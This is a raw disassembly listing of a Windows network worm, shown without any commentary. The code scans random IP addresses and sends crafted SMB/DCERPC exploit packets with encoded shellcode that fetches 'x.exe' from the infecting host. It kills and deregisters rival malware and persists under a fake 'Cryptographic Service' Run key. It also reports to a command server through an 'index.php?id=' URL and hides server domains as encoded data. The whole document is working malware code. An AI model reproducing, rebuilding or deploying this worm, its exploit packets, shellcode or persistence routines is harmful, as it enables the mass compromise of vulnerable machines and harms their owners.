sub_3143278A+Cj pop ebp retn 4 sub_3143278A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432810 proc near ; DATA XREF: UPX0:314329E2o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_314320B6 call sub_31432559 test eax, eax jnz loc_314328C9 push ebx mov ebx, dword_3143109C push esi mov esi, dword_314310FC push edi loc_31432836: ; CODE XREF: sub_31432810+48j ; sub_31432810+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31432845: ; CODE XREF: sub_31432810+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31432845 call sub_314321B4 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31432836 call sub_314321F3 test eax, eax jz short loc_314328A1 push offset dword_31435044 call dword_314310D8 ; InterlockedIncrement push edi call sub_314319BC test eax, eax pop ecx jnz short loc_314328A8 push edi push offset sub_31432728 call sub_3143210D pop ecx mov [ebp+var_8], 4 pop ecx loc_3143288D: ; CODE XREF: sub_31432810+8Dj push edi push offset sub_3143278A call sub_3143210D dec [ebp+var_8] pop ecx pop ecx jnz short loc_3143288D jmp short loc_314328A8 ; --------------------------------------------------------------------------- loc_314328A1: ; CODE XREF: sub_31432810+51j push 2710h call ebx ; Sleep loc_314328A8: ; CODE XREF: sub_31432810+67j ; sub_31432810+8Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call ebx ; Sleep call sub_31432559 test eax, eax jz loc_31432836 pop edi pop esi pop ebx loc_314328C9: ; CODE XREF: sub_31432810+11j push 0 call dword_314310D4 ; ExitThread xor eax, eax leave retn 4 sub_31432810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314328D7 proc near ; CODE XREF: UPX0:314329A7p ; UPX0:loc_31432A0Dp var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_314321B4 push eax call dword_31431160 ; inet_ntoa mov esi, dword_31431068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push dword_3143503C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_31431120 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314342E2 call esi ; lstrcpyA push offset byte_314342E0 call dword_31431088 ; lstrlenA mov byte_314342E0[eax], 0DFh pop esi leave retn sub_314328D7 endp ; --------------------------------------------------------------------------- loc_31432933: ; DATA XREF: sub_3143256D+174o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31435044, ebx call sub_314321F3 mov esi, dword_3143109C mov edi, 1388h test eax, eax jnz short loc_31432961 loc_31432955: ; CODE XREF: UPX0:3143295Fj push edi call esi ; Sleep call sub_314321F3 test eax, eax jz short loc_31432955 loc_31432961: ; CODE XREF: UPX0:31432953j lea eax, [esp+14h] push ebx push eax call dword_31431134 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31435048, ebx pop ebp mov dword_3143504C, 96h jz short loc_314329A0 mov dword_31435048, 1 mov ebp, 15Eh mov dword_3143504C, 14h loc_314329A0: ; CODE XREF: UPX0:31432985j call sub_314321B4 mov ebx, eax call sub_314328D7 cmp ebx, 100007Fh jz short loc_314329C1 push ebx push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314329C1: ; CODE XREF: UPX0:314329B2j mov dword ptr [esp+10h], 4 loc_314329C9: ; CODE XREF: UPX0:314329DAj push ebx push offset sub_3143278A call sub_3143210D dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_314329C9 test ebp, ebp jle short loc_314329F1 loc_314329E0: ; CODE XREF: UPX0:314329EFj push 0 push offset sub_31432810 call sub_3143210D pop ecx dec ebp pop ecx jnz short loc_314329E0 loc_314329F1: ; CODE XREF: UPX0:314329DEj ; UPX0:314329FDj ... call sub_314321F3 test eax, eax jz short loc_314329FF push edi call esi ; Sleep jmp short loc_314329F1 ; --------------------------------------------------------------------------- loc_314329FF: ; CODE XREF: UPX0:314329F8j ; UPX0:31432A0Bj call sub_314321F3 test eax, eax jnz short loc_31432A0D push edi call esi ; Sleep jmp short loc_314329FF ; --------------------------------------------------------------------------- loc_31432A0D: ; CODE XREF: UPX0:31432A06j call sub_314328D7 jmp short loc_314329F1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A14 proc near ; CODE XREF: sub_31432BAD+93p ; sub_31432D2E+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jnz short loc_31432A47 push [ebp+arg_8] push [ebp+arg_4] call dword_31431010 ; RegDeleteValueA push [ebp+arg_4] call dword_31431014 ; RegCloseKey loc_31432A47: ; CODE XREF: sub_31432A14+1Cj pop ebp retn sub_31432A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A49 proc near ; CODE XREF: sub_3143141F+28Ep ; sub_3143237F+33p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jz short loc_31432A75 push 1 pop eax jmp short loc_31432A9F ; --------------------------------------------------------------------------- loc_31432A75: ; CODE XREF: sub_31432A49+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31431008 ; RegQueryValueExA test eax, eax jz short loc_31432A94 push 2 pop esi loc_31432A94: ; CODE XREF: sub_31432A49+46j push [ebp+arg_10] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432A9F: ; CODE XREF: sub_31432A49+2Aj pop esi leave retn sub_31432A49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AA2 proc near ; CODE XREF: sub_3143141F+306p ; sub_31432C62+96p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31431000 ; RegCreateKeyExA test eax, eax jz short loc_31432ACB push 1 pop eax jmp short loc_31432AF2 ; --------------------------------------------------------------------------- loc_31432ACB: ; CODE XREF: sub_31432AA2+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31431004 ; RegSetValueExA test eax, eax jz short loc_31432AE7 push 2 pop esi loc_31432AE7: ; CODE XREF: sub_31432AA2+40j push [ebp+arg_4] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432AF2: ; CODE XREF: sub_31432AA2+27j pop esi pop ebp retn sub_31432AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AF5 proc near ; CODE XREF: sub_31432BAD+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31431088 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31432BA9 loc_31432B15: ; CODE XREF: sub_31432AF5+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31432B1E dec esi jns short loc_31432B15 loc_31432B1E: ; CODE XREF: sub_31432AF5+24j push 0 push 2 call sub_31432EFC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31432BA9 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31432EA6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31432EF6 ; Process32First test eax, eax jz short loc_31432BA9 lea esi, [esi+ebx+1] loc_31432B66: ; CODE XREF: sub_31432AF5+B2j lea eax, [ebp+var_104] push eax push esi call dword_31431104 ; strstr pop ecx test eax, eax pop ecx jz short loc_31432B96 push [ebp+var_120] push 0 push 1F0FFFh call dword_314310B4 ; OpenProcess push 0 push eax call dword_31431060 ; TerminateProcess loc_31432B96: ; CODE XREF: sub_31432AF5+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31432EF0 ; Process32Next test eax, eax jnz short loc_31432B66 loc_31432BA9: ; CODE XREF: sub_31432AF5+1Aj ; sub_31432AF5+38j ... pop esi pop ebx leave retn sub_31432AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432BAD proc near ; CODE XREF: UPX0:31432536p var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31432C1D: ; CODE XREF: sub_31432BAD+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432C54 push ebx push edi push esi call sub_31432A14 lea eax, [ebp+var_13C] push eax call sub_31432AF5 add esp, 10h loc_31432C54: ; CODE XREF: sub_31432BAD+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31432C1D pop edi pop esi pop ebx leave retn sub_31432BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432C62 proc near ; CODE XREF: sub_31432D2E+D1p ; sub_31432D2E+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31432C77 push [ebp+arg_0] call dword_31431074 ; DeleteFileA loc_31432C77: ; CODE XREF: sub_31432C62+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31431090 ; GetSystemDirectoryA test eax, eax jz locret_31432D2C push esi call dword_314310FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_3143212E mov esi, dword_3143108C pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314341F0 push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset dword_314341F8 push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31431050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_31432AA2 add esp, 14h push dword_31435034 call dword_31431080 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31431054 ; WinExec push 1F4h call dword_3143109C ; Sleep push 0 call dword_314310E4 ; ExitProcess pop esi locret_31432D2C: ; CODE XREF: sub_31432C62+23j leave retn sub_31432C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432D2E proc near ; CODE XREF: UPX0:3143253Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31431048 ; GetModuleFileNameA test eax, eax jz loc_31432E67 and dword_31435050, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432DB4 call dword_314310FC ; rand push 0Ah mov ebx, offset aXaurqzwplbcgiu ; "xaurqzwplbcgiuqi" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_3143212E pop ecx pop ecx push ebx call dword_31431088 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_31432AA2 add esp, 14h jmp short loc_31432DC3 ; --------------------------------------------------------------------------- loc_31432DB4: ; CODE XREF: sub_31432D2E+4Dj lea eax, [ebp+var_20] push eax push offset aXaurqzwplbcgiu ; "xaurqzwplbcgiuqi" call dword_31431068 ; lstrcpyA loc_31432DC3: ; CODE XREF: sub_31432D2E+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432E09 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_31432AA2 lea eax, [ebp+var_84] push eax push 0 call sub_31432C62 add esp, 1Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E09: ; CODE XREF: sub_31432D2E+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3143104C ; lstrcmpiA test eax, eax jnz short loc_31432E52 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432E67 push ebx push edi push esi mov dword_31435050, 1 call sub_31432A14 add esp, 0Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E52: ; CODE XREF: sub_31432D2E+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31432C62 pop ecx pop ecx loc_31432E67: ; CODE XREF: sub_31432D2E+1Fj ; sub_31432D2E+D9j ... pop edi pop esi pop ebx leave retn sub_31432D2E endp ; =============== S U B R O U T I N E ======================================= sub_31432E6C proc near ; CODE XREF: sub_314311A0+CAp ; sub_31431782+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31431044 ; VirtualAlloc retn sub_31432E6C endp ; =============== S U B R O U T I N E ======================================= sub_31432E80 proc near ; CODE XREF: sub_314311A0+10Bp ; sub_31431782+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31431040 ; VirtualFree retn sub_31432E80 endp ; --------------------------------------------------------------------------- align 10h loc_31432EA0: ; DATA XREF: sub_3143141F+Ao ; sub_3143256D+Ao jmp dword ptr loc_31431100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EA6 proc near ; CODE XREF: sub_314319BC+128p ; sub_314319BC+134p ... jmp dword_314310F8 sub_31432EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EAC proc near ; CODE XREF: sub_314319BC+9Cp ; sub_314319BC+C5p ... jmp dword_314310F4 sub_31432EAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EB2 proc near ; CODE XREF: sub_314319BC+93p ; sub_314319BC+B2p ... jmp dword_314310F0 sub_31432EB2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31432EC0 proc near ; CODE XREF: sub_314319BC+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31432EE0 loc_31432ECC: ; CODE XREF: sub_31432EC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31432ECC loc_31432EE0: ; CODE XREF: sub_31432EC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31432EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF0 proc near ; CODE XREF: sub_31432AF5+ABp jmp dword_31431064 sub_31432EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF6 proc near ; CODE XREF: sub_31432AF5+64p jmp dword_3143105C sub_31432EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EFC proc near ; CODE XREF: sub_31432AF5+2Dp jmp dword_31431058 sub_31432EFC endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 43Fh dup(0) dword_31434000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_3143141F+11Do ; sub_3143141F+20Fo dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31431782+84o align 10h byte_31434080 db 0 ; DATA XREF: sub_3143185D+1Br off_31434081 dd offset dword_314341E4 ; DATA XREF: sub_3143185D+23r align 2 dd offset dword_314341D4 dw 0C401h dd 1314341h, 314341B4h, 4341A000h, 41900131h, 80013143h dd 314341h, 31434174h, 43416800h, 41580131h, 48003143h dd 1314341h, 3143413Ch, 43417400h, 41D40131h, 30003143h dd 314341h, 314341D4h, 43412001h, 41480031h, 10013143h dd 314341h, 31434130h, 43410001h, 40F80131h, 74003143h dd 314341h, 31434130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314341D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314341E4 dd 617A616Dh, 616B6166h, 75722Ehdword_314341F0 dd 6578652Eh, 0 ; sub_31432239+55o ... dword_314341F8 dd 5Ch ; sub_31432C62+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314311A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31431313+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31431313+Co align 4 aD db '%d',0 ; DATA XREF: sub_3143141F+2CCo align 4 dword_3143426C dd 444952h aSoftwareMicros db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_3143141F+259o aZer1 db 'zer1',0 ; DATA XREF: sub_3143141F:loc_314315B7o align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_3143141F+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_31431782+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=20&cnt=%s',0 ; DATA XREF: sub_31431782+57o align 10h byte_314342E0 db 0EBh ; DATA XREF: sub_314319BC+24Eo ; sub_314319BC+260o ... db 58h word_314342E2 dw 7468h ; DATA XREF: sub_314328D7+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_314345A8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_314319BC+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31434634 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_314346E0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_314347C0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_314319BC+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31434824 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31434890 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31434934 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_314349B4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31434A48 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31434AB4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31434B28 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31434BE6 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31434C20 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_314319BC+41Bo ; sub_314319BC+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31434C98: ; DATA XREF: sub_314319BC+44Ao jmp short loc_31434CA0 ; --------------------------------------------------------------------------- jmp short loc_31434CA2 ; --------------------------------------------------------------------------- align 10h loc_31434CA0: ; CODE XREF: UPX0:loc_31434C98j ; DATA XREF: sub_314319BC+5Co pop 